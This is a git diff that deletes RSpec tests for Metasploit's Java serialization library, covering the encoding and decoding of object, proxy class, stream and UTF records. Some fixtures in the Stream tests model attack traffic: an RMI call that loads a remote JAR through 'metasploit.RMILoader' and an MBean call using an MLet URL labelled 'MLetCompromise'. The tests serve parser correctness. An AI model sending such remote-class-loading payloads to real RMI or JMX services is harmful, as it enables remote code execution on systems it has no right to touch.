newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_object_spec.rb b/spec/lib/rex/java/serialization/model/new_object_spec.rb deleted file mode 100644 index 5fc99e8216..0000000000 --- a/spec/lib/rex/java/serialization/model/new_object_spec.rb +++ /dev/null @@ -1,82 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::NewObject do - - subject(:new_object) do - described_class.new - end - - let(:easy_object) do - "\x72\x00\x04\x45\x61\x73\x79\x74" + - "\x1d\xe1\xbc\xbb\x2f\xcb\xaa\x02" + - "\x00\x01\x49\x00\x03\x53\x53\x4e" + - "\x78\x70\x41\x42\x43\x44" - end - - let(:easy_object_io) { StringIO.new(easy_object) } - - describe ".new" do - it "Rex::Java::Serialization::Model::NewObject" do - expect(new_object).to be_a(Rex::Java::Serialization::Model::NewObject) - end - - it "initializes class_desc with nil" do - expect(new_object.class_desc).to be_nil - end - - it "initializes class_data with empty array" do - expect(new_object.class_data).to be_empty - end - end - - describe "#decode" do - it "deserializes an object" do - expect(new_object.decode(easy_object_io)).to be_a(Rex::Java::Serialization::Model::NewObject) - end - - it "deserializes the object class fields correctly" do - new_object.decode(easy_object_io) - expect(new_object.class_desc.description.fields.length).to eq(1) - end - - it "deserializes the object class data correctly" do - new_object.decode(easy_object_io) - expect(new_object.class_data).to eq([['int', 0x41424344]]) - end - end - - - describe "#encode" do - it "serializes an Object" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy') - new_class_desc.serial_version = 0x741de1bcbb2fcbaa - new_class_desc.flags = 2 - field = Rex::Java::Serialization::Model::Field.new - field.type = 'int' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN') - new_class_desc.fields << field - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [['int', 0x41424344]] - - expect(new_object.encode.unpack("C*")).to eq(easy_object.unpack("C*")) - end - end - - describe "#to_s" do - it "prints a sample Object stream" do - new_object.decode(easy_object_io) - expect(new_object.to_s).to eq('Easy => { ["int", 1094861636] }') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb deleted file mode 100644 index 380d92a9af..0000000000 --- a/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb +++ /dev/null @@ -1,115 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::ProxyClassDesc do - subject(:proxy_class_desc) do - described_class.new - end - - let(:sample) do - "\x00\x00\x00\x01\x00\x13\x65\x78\x61\x6d\x70\x6c\x65\x2e\x68\x65" + - "\x6c\x6c\x6f\x2e\x48\x65\x6c\x6c\x6f\x70\x78\x72\x00\x17\x6a\x61" + - "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e" + - "\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01" + - "\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + - "\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61" + - "\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70" - end - - let(:sample_io) { StringIO.new(sample) } - - describe ".new" do - it "Rex::Java::Serialization::Model::ProxyClassDesc" do - expect(proxy_class_desc).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc) - end - - it "initializes interfaces with empty Array" do - expect(proxy_class_desc.interfaces).to be_empty - end - - it "initializes class_annotation with nil" do - expect(proxy_class_desc.class_annotation).to be_nil - end - - it "initializes super_class with nil" do - expect(proxy_class_desc.super_class).to be_nil - end - end - - describe "#decode" do - it "returns a Rex::Java::Serialization::Model::ProxyClassDesc" do - expect(proxy_class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc) - end - - it "deserializes interfaces" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.interfaces.length).to eq(1) - end - - it "deserializes interfaces contents correctly" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.interfaces[0].contents).to eq('example.hello.Hello') - end - - it "deserializes class annotation correctly" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation) - end - - it "deserializes class annotation contents" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::NullReference) - end - - it "deserializes super_class" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc) - end - - it "deserializes super class description" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc) - end - end - - describe "#encode" do - it "serializes a ProxyClassDesc" do - field = Rex::Java::Serialization::Model::Field.new - field.type = 'object' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'h') - field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/reflect/InvocationHandler;') - super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new - super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.reflect.Proxy') - super_class_desc_new.serial_version = 0xe127da20cc1043cb - super_class_desc_new.flags = 2 - super_class_desc_new.fields << field - super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new - super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new - super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new - super_class_desc.description = super_class_desc_new - - interface = Rex::Java::Serialization::Model::Utf.new(nil, 'example.hello.Hello') - proxy_class_desc.interfaces << interface - proxy_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new - proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - proxy_class_desc.super_class = super_class_desc - - expect(proxy_class_desc.encode).to eq(sample) - end - end - - describe "#to_s" do - it "prints a sample NewClassDesc stream" do - proxy_class_desc.decode(sample_io) - expect(proxy_class_desc.to_s).to eq('[ example.hello.Hello ], @super_class: java.lang.reflect.Proxy') - end - end -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb deleted file mode 100644 index a8b1e11d51..0000000000 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ /dev/null @@ -1,428 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::Stream do - - subject(:stream) do - described_class.new - end - - let(:easy_object_stream) do - "\xac\xed\x00\x05\x73\x72\x00\x04" + - "\x45\x61\x73\x79\x74\x1d\xe1\xbc" + - "\xbb\x2f\xcb\xaa\x02\x00\x01\x49" + - "\x00\x03\x53\x53\x4e\x78\x70\x41" + - "\x42\x43\x44" - end - let(:easy_object_stream_io) { StringIO.new(easy_object_stream) } - let(:easy_object_stream_to_s) { - <<-EOS -@magic: 0xaced -@version: 5 -@contents: [ - NewObject { Easy => { ["int", 1094861636] } } -] -@references: [ - [7e0000] NewClassDesc { Easy, [ SSN (int) ] } - [7e0001] NewObject { Easy => { ["int", 1094861636] } } -] - EOS - } - - let(:char_array_stream) do - "\xac\xed\x00\x05\x75\x72\x00\x02" + - "\x5b\x43\xb0\x26\x66\xb0\xe2\x5d" + - "\x84\xac\x02\x00\x00\x78\x70\x00" + - "\x00\x00\x02\x00\x61\x00\x62" - end - let(:char_array_stream_io) { StringIO.new(char_array_stream) } - let(:char_array_stream_to_s) { - <<-EOS -@magic: 0xaced -@version: 5 -@contents: [ - NewArray { char, ["97", "98"] } -] -@references: [ - [7e0000] NewClassDesc { [C, [ ] } - [7e0001] NewArray { char, ["97", "98"] } -] - EOS - } - - let(:complex_stream) do - "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" + - "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + - "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + - "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + - "\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e\x72" + - "\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44\xa7" + - "\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62\x6a" + - "\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c\x6a" + - "\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55" + - "\x49\x44\x3b\x70\x78\x70\x0d\xc1\x1e\x2a\x94\x5e\x2f\xb2\x73\x72" + - "\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + - "\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00\x03" + - "\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65\x49" + - "\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x16\x00\x00\x01" + - "\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00\x00" + - "\x00\x00\x01\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e" + - "\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a\xdc" + - "\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04\x76" + - "\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f" + - "\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00\x00" + - "\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d\x69" + - "\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5\x6d" + - "\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b\x42" + - "\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75\x72" + - "\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x70" + - "\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73\x71" + - "\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62" + - "\xc1\xc0" - end - let(:complex_stream_io) { StringIO.new(complex_stream) } - let(:complex_stream_to_s) { - <<-EOS -@magic: 0xaced -@version: 5 -@contents: [ - BlockData { [ 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0xf6, 0xb6, 0x89, 0x8d, 0x8b, 0xf2, 0x86, 0x43 ] } - NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] } - BlockData { [ 0x80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1 ] } - NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } } -] -@references: [ - [7e0000] NewClassDesc { [Ljava.rmi.server.ObjID;, [ ] } - [7e0001] NewArray { java.rmi.server.ObjID;, ["java.rmi.server.ObjID => { [\\"long\\", 991106561224880050], java.rmi.server.UID => { [\\"short\\", -32746], [\\"long\\", 1416095896184], [\\"int\\", -766517433] } }"] } - [7e0002] NewClassDesc { java.rmi.server.ObjID, [ objNum (long), space (Ljava/rmi/server/UID;) ] } - [7e0003] Utf { Ljava/rmi/server/UID; } - [7e0004] NewObject { java.rmi.server.ObjID => { ["long", 991106561224880050], java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } } } - [7e0005] NewClassDesc { java.rmi.server.UID, [ count (short), time (long), unique (int) ] } - [7e0006] NewObject { java.rmi.server.UID => { ["short", -32746], ["long", 1416095896184], ["int", -766517433] } } - [7e0007] NewClassDesc { java.rmi.dgc.Lease, [ value (long), vmid (Ljava/rmi/dgc/VMID;) ] } - [7e0008] Utf { Ljava/rmi/dgc/VMID; } - [7e0009] NewObject { java.rmi.dgc.Lease => { ["long", 600000], java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } } - [7e000a] NewClassDesc { java.rmi.dgc.VMID, [ addr ([B), uid (0x7e0003) ] } - [7e000b] Utf { [B } - [7e000c] NewObject { java.rmi.dgc.VMID => { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"], 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } } - [7e000d] NewClassDesc { [B, [ ] } - [7e000e] NewArray { byte, ["107", "2", "-57", "114", "96", "28", "-57", "-107"] } - [7e000f] NewObject { 5 => { ["short", -32767], ["long", 1416097169642], ["int", -379403840] } } -] - EOS - } - - let(:rmi_call) do - "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + - "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + - "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + - "\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" + - "\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" + - "\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" + - "\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" + - "\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" + - "\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00" - end - - let(:mbean_call) do - "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + - "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + - "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + - "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + - "\x2c\x69\x64\x3d\x31\x78\x70" - end - - let(:marshalled_argument) do - "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" + - "\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" + - "\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" + - "\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" + - "\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74" - end - - describe ".new" do - it "Rex::Java::Serialization::Model::Stream" do - expect(stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "initializes magic with java serialized stream signature" do - expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC) - end - - it "initializes version with java serialized stream default version " do - expect(stream.version).to eq(Rex::Java::Serialization::STREAM_VERSION) - end - - it "initializes references as empty array " do - expect(stream.references).to be_empty - end - - it "initializes stream to nil by default" do - expect(stream.stream).to be_nil - end - end - - describe "#decode" do - context "when deserializing a simple Object stream" do - it "deserializes an Stream" do - expect(stream.decode(easy_object_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "deserializes the signature correctly" do - stream.decode(easy_object_stream_io) - expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC) - end - - it "deserializes all the contents" do - stream.decode(easy_object_stream_io) - expect(stream.contents.length).to eq(1) - end - - it "deserializes a simple object correctly" do - stream.decode(easy_object_stream_io) - expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewObject) - end - end - - context "when deserializing a char array" do - it "deserializes an Stream" do - expect(stream.decode(char_array_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "deserializes the char array correctly" do - stream.decode(char_array_stream_io) - expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewArray) - end - end - - context "when deserializing a complex stream with references" do - it "deserializes an Stream" do - expect(stream.decode(complex_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "deserializes all the contents in the Stream" do - stream.decode(complex_stream_io) - expect(stream.contents.length).to eq(4) - end - - it "deserializes object contents" do - stream.decode(complex_stream_io) - expect(stream.contents[3]).to be_a(Rex::Java::Serialization::Model::NewObject) - end - end - end - - describe "#to_s" do - it "prints a simple Object stream" do - stream.decode(easy_object_stream_io) - expect(stream.to_s).to eq(easy_object_stream_to_s) - end - - it "prints a char array stream" do - stream.decode(char_array_stream_io) - expect(stream.to_s).to eq(char_array_stream_to_s) - end - - it "prints a complex stream with references" do - stream.decode(complex_stream_io) - expect(stream.to_s).to eq(complex_stream_to_s) - end - end - - describe "#encode" do - context "when serializing a simple Object stream" do - it "serializes the Stream" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy') - new_class_desc.serial_version = 0x741de1bcbb2fcbaa - new_class_desc.flags = 2 - field = Rex::Java::Serialization::Model::Field.new - field.type = 'int' - field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN') - new_class_desc.fields << field - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [['int', 0x41424344]] - - stream.contents << new_object - expect(stream.encode.unpack("C*")).to eq(easy_object_stream.unpack("C*")) - end - end - - context "when serializing a char array" do - it "serializes the Stream" do - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C') - new_class_desc.serial_version = 0xb02666b0e25d84ac - new_class_desc.flags = 2 - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_class_desc - new_array.type = 'char' - new_array.values = [97, 98] - - stream.contents << new_array - expect(stream.encode.unpack("C*")).to eq(char_array_stream.unpack("C*")) - end - end - - context "when reserializing a complex stream" do - it "reserializes the original stream" do - stream.decode(complex_stream_io) - expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*")) - end - end - - context "when serializing a Java RMI call" do - it "serializes the stream correctly" do - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" - block_data.length = block_data.contents.length - - stream.contents << block_data - - new_array_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - - new_array_super = Rex::Java::Serialization::Model::ClassDesc.new - new_array_super.description = Rex::Java::Serialization::Model::NullReference.new - - new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') - new_array_desc.serial_version = 0x871300b8d02c647e - new_array_desc.flags = 2 - new_array_desc.fields = [] - new_array_desc.class_annotation = new_array_annotation - new_array_desc.super_class = new_array_super - - array_desc = Rex::Java::Serialization::Model::ClassDesc.new - array_desc.description = new_array_desc - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.type = 'java.rmi.server.ObjID;' - new_array.values = [] - new_array.array_description = array_desc - - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") - - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') - new_class_desc.serial_version = 0xa16544ba26f9c2f4 - new_class_desc.flags = 2 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'), - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] - - stream.contents << new_object - - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") - - expect(stream.encode).to eq(rmi_call) - end - end - - context "when serializing a MBeanServerConnection.getObjectInstance call data" do - it "serializes the stream correctly" do - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03" - block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2" - block_data.length = block_data.contents.length - - stream.contents << block_data - - new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') - new_class_desc.serial_version = 0xf03a71beb6d15cf - new_class_desc.flags = 3 - new_class_desc.fields = [] - new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_object = Rex::Java::Serialization::Model::NewObject.new - new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - new_object.class_desc.description = new_class_desc - new_object.class_data = [] - - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1') - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - expect(stream.encode).to eq(mbean_call) - - end - end - - context "when serializing a marshalled argument" do - it "serializes the stream correctly" do - stream = Rex::Java::Serialization::Model::Stream.new - - new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;') - new_array_class_desc.serial_version = 0x90ce589f1073296c - new_array_class_desc.flags = 2 - new_array_class_desc.fields = [] - new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - new_array_class_desc.class_annotation.contents = [ - Rex::Java::Serialization::Model::EndBlockData.new - ] - new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new - - new_array = Rex::Java::Serialization::Model::NewArray.new - new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - new_array.array_description.description = new_array_class_desc - new_array.type = 'java.lang.Object;' - new_array.values = [ - Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet') - ] - - stream.contents << new_array - - expect(stream.encode).to eq(marshalled_argument) - end - end - - end - -end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/utf_spec.rb b/spec/lib/rex/java/serialization/model/utf_spec.rb deleted file mode 100644 index be54618d83..0000000000 --- a/spec/lib/rex/java/serialization/model/utf_spec.rb +++ /dev/null @@ -1,107 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'stringio' - -RSpec.describe Rex::Java::Serialization::Model::Utf do - subject(:utf) do - described_class.new - end - - let(:sample_utf) { "\x00\x10java.lang.Number" } - let(:sample_utf_io) { StringIO.new(sample_utf) } - let(:empty_utf) { "\x00\x00" } - let(:empty_utf_io) { StringIO.new(empty_utf) } - let(:incomplete_utf) { "\x00\x10java.lang.Numb" } - let(:incomplete_utf_io) { StringIO.new(incomplete_utf) } - let(:empty_io) { StringIO.new('') } - - describe ".new" do - it "Rex::Java::Serialization::Model::Utf" do - expect(utf).to be_a(Rex::Java::Serialization::Model::Utf) - end - - it "initializes length to 0" do - expect(utf.length).to eq(0) - end - - it "initializes contents with empty string" do - expect(utf.contents).to be_empty - end - end - - describe "#encode" do - context "when empty utf" do - it { expect(utf.encode).to eq(empty_utf) } - end - - context "when filled utf" do - it do - utf.length = 16 - utf.contents = 'java.lang.Number' - expect(utf.encode).to eq(sample_utf) - end - end - end - - describe "#decode" do - context "when stream contains empty string" do - it "raises Rex::Java::Serialization::DecodeError" do - expect { utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains empty utf" do - it "returns a Rex::Java::Serialization::Model::Utf" do - expect(utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf) - end - - it "sets length to 0" do - utf.decode(empty_utf_io) - expect(utf.length).to eq(0) - end - - it "sets contents to empty string" do - utf.decode(empty_utf_io) - expect(utf.contents).to be_empty - end - end - - context "when stream contains incomplete utf" do - it "raises Rex::Java::Serialization::DecodeError" do - expect { utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError) - end - end - - context "when stream contains correct utf" do - - it "returns a Rex::Java::Serialization::Model::Utf" do - expect(utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf) - end - - it "sets length to 0" do - utf.decode(sample_utf_io) - expect(utf.length).to eq(16) - end - - it "sets contents to sample string" do - utf.decode(sample_utf_io) - expect(utf.contents).to eq('java.lang.Number') - end - end - end - - describe "#to_s" do - it "prints an stream containing a sample utf" do - utf.decode(sample_utf_io) - expect(utf.to_s).to eq('java.lang.Number') - end - - it "prints an stream containing an empty utf" do - utf.decode(empty_utf_io) - expect(utf.to_s).to eq('') - end - end - -end \ No newline at end of file